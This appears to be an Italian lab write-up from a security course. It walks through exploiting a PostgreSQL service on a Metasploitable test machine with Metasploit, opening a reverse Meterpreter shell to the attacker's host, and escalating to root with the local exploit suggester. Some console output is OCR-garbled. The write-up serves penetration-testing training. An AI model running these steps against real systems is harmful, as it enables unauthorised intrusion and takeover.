Oggi abbiamo visto come tramite exploit è possibile arrivare e muoversi all'interno del dispositivo e fare la scalata dei privilegi all'interno di esso.

prima parte della classica procedura per exploit:

- nmap -sV -T5 IP\_TARGET = scansione per vedere porte aperte e utilizzi processi al momento della scansione
- msfconsole
- search NOME\_PROGRAMMA
- use N\* o PATH
- set RHOSTS IP\_TARGET
- show options
- run

```
| Second | S
```

```
msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.1.201
rhosts ⇒ 192.168.1.201
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.1.125:4444

[*] 192.168.1.201:5432 - PostgreSQL 8.3.1 on 1486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

[*] Uploaded as /tmp/ZmGWMqLa.so, should be cleaned up automatically

[*] Sending stage (1017704 bytes) to 192.168.1.201

[*] Meterpreter session 2 opened (192.168.1.125:4444 → 192.168.1.201:60357) at 2024-11-13 10:51:29 -0500

meterpreter > getuid
Server username: postgres
meterpreter > background

[*] Backgrounding session 2 ...
```

verificichiamo con "getuid" che utente siamo e mettiamo in background la sessione con l'exploit del collegamento

```
<u>nsf6</u> exploit(
  Id Name Type
                                        Information
                                                                                      Connection
  1 meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.125:4444 → 192.168.1.201:43988 (192.168.1.201)
2 meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.125:4444 → 192.168.1.201:60357 (192.168.1.201)
msf6 exploit(linux/postgres/postgres_payload) > sessions -i 2
 *] Starting interaction with 2 ...
meterpreter > exit
[*] Shutting down session: 2
[*] 192.168.1.201 - Meterpreter session 2 closed. Reason: User exit msf6 exploit(\linux/postgres/postgres_payload) > sessions
Active sessions
                                                                                      Connection
                                      Information
  meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.125:4444 → 192.168.1.201:43988 (192.168.1.201)
Matching Modules
                                                       Disclosure Date Rank Check Description
   0 post/multi/recon/local_exploit_suggester .
                                                                          normal No Multi Recon Local Exploit Suggester
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggest
```

usiamo un exploit dentro un altro exploit: search suggester (che serve per scalare i privilegi e cambiare utente)

lo Impostiamo e avviamo.

```
msf6 exploit(1
msf6 post(
                                            ) > show options
Module options (post/multi/recon/local_exploit_suggester):
                   Current Setting Required Description
  Name
  SHOWDESCRIPTION false
                                              Displays a detailed description for the available exploits
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session ⇒ 1
msf6 post(m
Module options (post/multi/recon/local_exploit_suggester):
  SESSION
                                              The session to run this module on
  SHOWDESCRIPTION false
                                              Displays a detailed description for the available exploits
View the full module info with the info, or info -d command.
```

selezioniamo l'exploit corretto e vediamo i payloads che possiamo utilizzare:

settiamo il payload che ci serve e run, in seguito ci chiederà in quale sessione vogliamo far partire questo exploit e avvieremo quella messa in Background in precedenza:

selezioniamo il target (il payload per la versione corretta che dobbiamo attaccare) e avviamo:

Verifichiamo con getuid che siamo diventati root.